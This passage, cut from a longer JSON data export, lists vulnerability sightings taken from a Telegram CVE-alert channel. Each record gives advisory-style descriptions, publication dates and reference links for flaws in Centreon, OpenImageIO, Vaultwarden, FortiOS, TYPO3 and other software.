"CVE-2024-55573", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2852", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55573\n\ud83d\udd39 Description: An issue was discovered in Centreon centreon-web 24.10.x before 24.10.3, 24.04.x before 24.04.9, 23.10.x before 23.10.19, 23.04.x before 23.04.24. A user with high privileges is able to inject SQL into the form used to create virtual metrics.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:15:29.037Z\n\ud83d\udd17 References:\n1. https://github.com/centreon/centreon/releases\n2. https://thewatch.centreon.com/latest-security-bulletins-64/cve-2024-55573-centreon-web-critical-severity-4264", "creation_timestamp": "2025-01-23T23:03:51.000000Z"}, {"uuid": "ecb6b598-9fed-4be2-ba5f-f4bbbff209ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55193", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2860", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55193\n\ud83d\udd39 Description: OpenImageIO v3.1.0.0dev was discovered to contain a segmentation violation via the component /OpenImageIO/string_view.h.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:03:55.931Z\n\ud83d\udd17 References:\n1. https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4551", "creation_timestamp": "2025-01-23T23:04:03.000000Z"}, {"uuid": "86eb397e-583d-4f6f-97cf-5214f71ab246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55194", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2859", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55194\n\ud83d\udd39 Description: OpenImageIO v3.1.0.0dev was discovered to contain a heap overflow via the component /OpenImageIO/fmath.h.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:04:33.244Z\n\ud83d\udd17 References:\n1. https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4552", "creation_timestamp": "2025-01-23T23:03:59.000000Z"}, {"uuid": "62540870-b2d5-49b9-8800-0578a05faaf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55408", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/588", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55408\n\ud83d\udd39 Description: An issue in the AsusSAIO.sys component of ASUS System Analysis IO v1.0.0 allows attackers to perform arbitrary read and write actions via supplying crafted IOCTL requests.\n\ud83d\udccf Published: 2025-01-06T00:00:00\n\ud83d\udccf Modified: 2025-01-07T21:55:35.921Z\n\ud83d\udd17 References:\n1. http://asus.com\n2. https://github.com/heyheysky/vulnerable-driver/blob/master/CVE-2024-55408/CVE-2024-55408_AsusSAIO.sys_README.md", "creation_timestamp": "2025-01-07T22:37:24.000000Z"}, {"uuid": "4bc6a514-9cbc-4380-97af-be3c7ad942f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55517", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/722", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55517\n\ud83d\udd39 Description: An issue was discovered in the Interllect Core Search in Polaris FT Intellect Core Banking 9.5. Input passed through the groupType parameter in /SCGController is mishandled before being used in SQL queries, allowing SQL injection in an authenticated session.\n\ud83d\udccf Published: 2025-01-08T00:00:00\n\ud83d\udccf Modified: 2025-01-08T15:50:59.168594\n\ud83d\udd17 References:\n1. https://hackmd.io/@AowPhwc/SyvEiDsIye", "creation_timestamp": "2025-01-08T16:19:10.000000Z"}, {"uuid": "bf27f110-c0db-4bf7-b5e5-1e9342e4dc76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55656", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/720", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55656\n\ud83d\udd39 Description: RedisBloom adds a set of probabilistic data structures to Redis. There is an integer overflow vulnerability in RedisBloom, which is a module used in Redis. The integer overflow vulnerability allows an attacker (a redis client which knows the password) to allocate memory in the heap lesser than the required memory due to wraparound. Then read and write can be performed beyond this allocated memory, leading to info leak and OOB write. The integer overflow is in CMS.INITBYDIM command, which initialize a Count-Min Sketch to dimensions specified by user. It accepts two values (width and depth) and uses them to allocate memory in NewCMSketch(). This vulnerability is fixed in 2.2.19, 2.4.12, 2.6.14, and 2.8.2.\n\ud83d\udccf Published: 2025-01-08T15:38:54.859Z\n\ud83d\udccf Modified: 2025-01-08T15:52:23.554Z\n\ud83d\udd17 References:\n1. https://github.com/RedisBloom/RedisBloom/security/advisories/GHSA-x5rx-rmq3-ff3h", "creation_timestamp": "2025-01-08T16:18:22.000000Z"}, {"uuid": "5ea9556b-4d74-4151-9d4e-3320981f17d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55225", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1202", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55225\n\ud83d\udd39 Description: An issue in the component src/api/identity.rs of Vaultwarden prior to v1.32.5 allows attackers to impersonate users, including Administrators, via a crafted authorization request.\n\ud83d\udccf Published: 2025-01-09T00:00:00\n\ud83d\udccf Modified: 2025-01-10T17:25:40.893Z\n\ud83d\udd17 References:\n1. https://insinuator.net/2024/11/vulnerability-disclosure-authentication-bypass-in-vaultwarden-versions-1-32-5/\n2. https://github.com/dani-garcia/vaultwarden/releases/tag/1.32.5\n3. https://github.com/dani-garcia/vaultwarden/releases/tag/1.32.4", "creation_timestamp": "2025-01-10T18:04:00.000000Z"}, {"uuid": "9d80abf9-f454-4ba9-af15-b788d137542a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55224", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1200", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55224\n\ud83d\udd39 Description: An HTML injection vulnerability in Vaultwarden prior to v1.32.5 allows attackers to execute arbitrary code via injecting a crafted payload into the username field of an e-mail message.\n\ud83d\udccf Published: 2025-01-09T00:00:00\n\ud83d\udccf Modified: 2025-01-10T17:27:58.980Z\n\ud83d\udd17 References:\n1. https://insinuator.net/2024/11/vulnerability-disclosure-authentication-bypass-in-vaultwarden-versions-1-32-5/\n2. https://github.com/dani-garcia/vaultwarden/releases/tag/1.32.5\n3. https://github.com/dani-garcia/vaultwarden/releases/tag/1.32.4", "creation_timestamp": "2025-01-10T18:03:56.000000Z"}, {"uuid": "eda5e4ad-b8fe-4695-8834-f5036b5f70e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55593", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1604", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55593\n\ud83d\udd39 Description: A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiWeb versions 6.3.17 through 7.6.1 allows attacker to gain information disclosure via crafted SQL queries\n\ud83d\udccf Published: 2025-01-14T14:08:36.557Z\n\ud83d\udccf Modified: 2025-01-14T20:56:58.704Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-465", "creation_timestamp": "2025-01-14T21:10:15.000000Z"}, {"uuid": "4ecce38d-d2f5-4590-9a25-d392537fe955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1602", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55591\n\ud83d\udd39 Description: An\u00a0Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 through 7.0.16 and FortiProxy version 7.0.0 through 7.0.19 and 7.2.0 through 7.2.12 allows a remote attacker to gain super-admin privileges via crafted requests to\u00a0Node.js websocket module.\n\ud83d\udccf Published: 2025-01-14T14:08:34.207Z\n\ud83d\udccf Modified: 2025-01-14T20:57:13.464Z\n\ud83d\udd17 References:\n1. https://fortiguard.fortinet.com/psirt/FG-IR-24-535", "creation_timestamp": "2025-01-14T21:10:09.000000Z"}, {"uuid": "a103e881-2057-45e9-89ed-4e6d1903ab21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55891", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1758", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55891\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. It has been discovered that the install tool password has been logged as plaintext in case the password hashing mechanism used for the password was incorrect. Users are advised to update to TYPO3 versions 13.4.3 ELTS which fixes the problem described. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-14T19:11:58.861Z\n\ud83d\udccf Modified: 2025-01-15T15:02:46.106Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-38x7-cc6w-j27q\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-001", "creation_timestamp": "2025-01-15T15:10:06.000000Z"}, {"uuid": "d33b16a8-0bf3-4bab-a8af-1b6ca245148f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55195", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2858", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55195\n\ud83d\udd39 Description: An allocation-size-too-big bug in the component /imagebuf.cpp of OpenImageIO v3.1.0.0dev may cause a Denial of Service (DoS) when the program to requests to allocate too much space.\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:05:21.930Z\n\ud83d\udd17 References:\n1. https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4553", "creation_timestamp": "2025-01-23T23:03:58.000000Z"}, {"uuid": "580070ba-c379-47ba-84f7-cac23cdf041c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55192", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2861", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55192\n\ud83d\udd39 Description: OpenImageIO v3.1.0.0dev was discovered to contain a heap overflow via the component OpenImageIO_v3_1_0::farmhash::inlined::Fetch64(char const*).\n\ud83d\udccf Published: 2025-01-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T22:03:04.630Z\n\ud83d\udd17 References:\n1. https://github.com/AcademySoftwareFoundation/OpenImageIO/issues/4550", "creation_timestamp": "2025-01-23T23:04:04.000000Z"}, {"uuid": "050ce89a-3a87-40f1-9780-fb26c240ee40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55920", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1591", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55920\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cDashboard Module\u201d allows attackers to manipulate the victim\u2019s dashboard configuration. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-14T19:55:42.459Z\n\ud83d\udccf Modified: 2025-01-14T19:55:42.459Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-qwx7-39pw-2mhr\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-005", "creation_timestamp": "2025-01-14T20:08:52.000000Z"}, {"uuid": "45cf52d2-5df6-43a3-94c9-338371adf8df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55894", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1590", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55894\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cBackend User Module\u201d allows attackers to initiate password resets for other backend users or to terminate their user sessions. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described.\n\ud83d\udccf Published: 2025-01-14T19:57:28.172Z\n\ud83d\udccf Modified: 2025-01-14T19:57:28.172Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-6w4x-gcx3-8p7v", "creation_timestamp": "2025-01-14T20:08:48.000000Z"}, {"uuid": "1e7151bd-233d-4481-8cf9-0dfd954466b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55577", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/1706", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55577\n\ud83d\udd39 Description: Stack-based buffer overflow vulnerability exists in Linux Ratfor 1.06 and earlier. When the software processes a file which is specially crafted by an attacker, arbitrary code may be executed. As a result, the attacker may obtain or alter information of the user environment or cause the user environment to become unusable.\n\ud83d\udccf Published: 2025-01-15T05:17:04.115Z\n\ud83d\udccf Modified: 2025-01-15T05:17:04.115Z\n\ud83d\udd17 References:\n1. http://www.dgate.org/ratfor/\n2. https://jvn.jp/en/vu/JVNVU92217718/", "creation_timestamp": "2025-01-15T06:11:12.000000Z"}, {"uuid": "1e928d6c-b518-43fc-a0c7-1c3653b2429f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55923", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1761", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55923\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cIndexed Search Module\u201d allows attackers to delete items of the component. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this issue.\n\ud83d\udccf Published: 2025-01-14T19:20:11.061Z\n\ud83d\udccf Modified: 2025-01-15T15:01:28.523Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-7r5q-4qgx-v545\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-008", "creation_timestamp": "2025-01-15T15:10:27.000000Z"}, {"uuid": "42dbbd17-7e3f-4d73-91e4-5fb2b9cdcff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55924", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1760", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55924\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cScheduler Module\u201d allows attackers to trigger pre-defined command classes - which can lead to unauthorized import or export of data in the worst case. Users are advised to update to TYPO3 versions 11.5.42 ELTS which fixes the problem described. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-14T19:16:46.693Z\n\ud83d\udccf Modified: 2025-01-15T15:02:04.879Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-7835-fcv3-g256\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-009", "creation_timestamp": "2025-01-15T15:10:22.000000Z"}, {"uuid": "71c33a34-9226-40c1-a3c3-13b7fb4764ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55893", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1779", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55893\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cLog Module\u201d allows attackers to remove log entries. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-14T20:00:15.247Z\n\ud83d\udccf Modified: 2025-01-15T15:44:53.027Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-cjfr-9f5r-3q93\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-003", "creation_timestamp": "2025-01-15T15:55:08.000000Z"}, {"uuid": "81269a2b-0fd7-4ae5-b8d2-295efb1c7450", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55921", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1776", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55921\n\ud83d\udd39 Description: TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cExtension Manager Module\u201d allows attackers to retrieve and install 3rd party extensions from the TYPO3 Extension Repository - which can lead to remote code execution in the worst case. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described.\n\ud83d\udccf Published: 2025-01-14T19:36:32.439Z\n\ud83d\udccf Modified: 2025-01-15T15:49:28.970Z\n\ud83d\udd17 References:\n1. https://github.com/TYPO3/typo3/security/advisories/GHSA-4g52-pq8j-6qv5\n2. https://typo3.org/security/advisory/typo3-core-sa-2025-006", "creation_timestamp": "2025-01-15T15:55:02.000000Z"}, {"uuid": "a8c5da8d-6b9a-4c5a-b90e-ec99df6946ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55503", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/1904", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55503\n\ud83d\udd39 Description: An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLD_INSERT_LIBRARIES component.\n\ud83d\udccf Published: 2025-01-15T00:00:00\n\ud83d\udccf Modified: 2025-01-15T22:53:53.826462\n\ud83d\udd17 References:\n1. https://github.com/SyFi/CVE-2024-55503", "creation_timestamp": "2025-01-15T23:54:40.000000Z"}, {"uuid": "10e166b3-b382-46d8-88d2-d3b85be88604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55954", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2020", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55954\n\ud83d\udd39 Description: OpenObserve is a cloud-native observability platform. A vulnerability in the user management endpoint `/api/{org_id}/users/{email_id}` allows an \"Admin\" role user to remove a \"Root\" user from the organization. This violates the intended privilege hierarchy, enabling a non-root user to remove the highest-privileged account. Due to insufficient role checks, the `remove_user_from_org` function does not prevent an \"Admin\" user from removing a \"Root\" user. As a result, an attacker with an \"Admin\" role can remove critical \"Root\" users, potentially gaining effective full control by eliminating the highest-privileged accounts. The `DELETE /api/{org_id}/users/{email_id}` endpoint is affected. This issue has been addressed in release version `0.14.1` and all users are advised to upgrade. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2025-01-16T19:30:39.218Z\n\ud83d\udccf Modified: 2025-01-16T19:30:39.218Z\n\ud83d\udd17 References:\n1. https://github.com/openobserve/openobserve/security/advisories/GHSA-m8gj-6r85-3r6m\n2. https://github.com/gaby/openobserve/blob/main/src/service/users.rs#L631", "creation_timestamp": "2025-01-16T19:56:03.000000Z"}, {"uuid": "e468e04b-3d17-4ae6-9204-a4585d6436f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55957", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2737", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55957\n\ud83d\udd39 Description: In Thermo Fisher Scientific Xcalibur before 4.7 SP1 and Thermo Foundation Instrument Control Software (ICSW) before 3.1 SP10, the driver packages have a local privilege escalation vulnerability due to improper access control permissions on Windows systems.\n\ud83d\udccf Published: 2025-01-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T14:49:24.159Z\n\ud83d\udd17 References:\n1. https://thermofisher.com\n2. https://assets.thermofisher.com/TFS-Assets/CORP/Product-Guides/Thermo_Scientific_Xcalibur_and_Foundation.pdf", "creation_timestamp": "2025-01-23T15:02:57.000000Z"}, {"uuid": "13a5e54d-23bb-4cb4-8960-11e9ec7ab756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55958", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2678", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55958\n\ud83d\udd39 Description: Northern.tech CFEngine Enterprise Mission Portal 3.24.0, 3.21.5, and below allows XSS. The fixed versions are 3.24.1 and 3.21.6.\n\ud83d\udccf Published: 2025-01-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-22T21:56:59.416Z\n\ud83d\udd17 References:\n1. https://Northern.tech\n2. https://cfengine.com/blog/2025/cve-2024-55958/", "creation_timestamp": "2025-01-22T23:02:26.000000Z"}, {"uuid": "fff15254-5eff-4ce2-91ea-65d3f331fd63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55488", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/2552", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55488\n\ud83d\udd39 Description: A stored cross-site scripting (XSS) vulnerability in Umbraco CMS v14.3.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n\ud83d\udccf Published: 2025-01-22T00:00:00\n\ud83d\udccf Modified: 2025-01-22T15:55:37.823921\n\ud83d\udd17 References:\n1. http://umbraco.com\n2. https://www.nccgroup.com/us/research-blog/technical-advisory-cross-site-scripting-in-umbraco-rich-text-display/", "creation_timestamp": "2025-01-22T16:01:37.000000Z"}, {"uuid": "bb47109b-89ee-4df8-9883-ef8fbd6d0d08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55959", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2755", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-55959\n\ud83d\udd39 Description: Northern.tech Mender Client 4.x before 4.0.5 has Insecure Permissions.\n\ud83d\udccf Published: 2025-01-21T00:00:00.000Z\n\ud83d\udccf Modified: 2025-01-23T15:48:29.427Z\n\ud83d\udd17 References:\n1. https://Northern.tech\n2. https://mender.io/blog/cve-2024-55959", "creation_timestamp": "2025-01-23T16:03:00.000000Z"}, {"uuid": "2ce52bc9-6c0a-45b7-948a-ca48fc3145b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 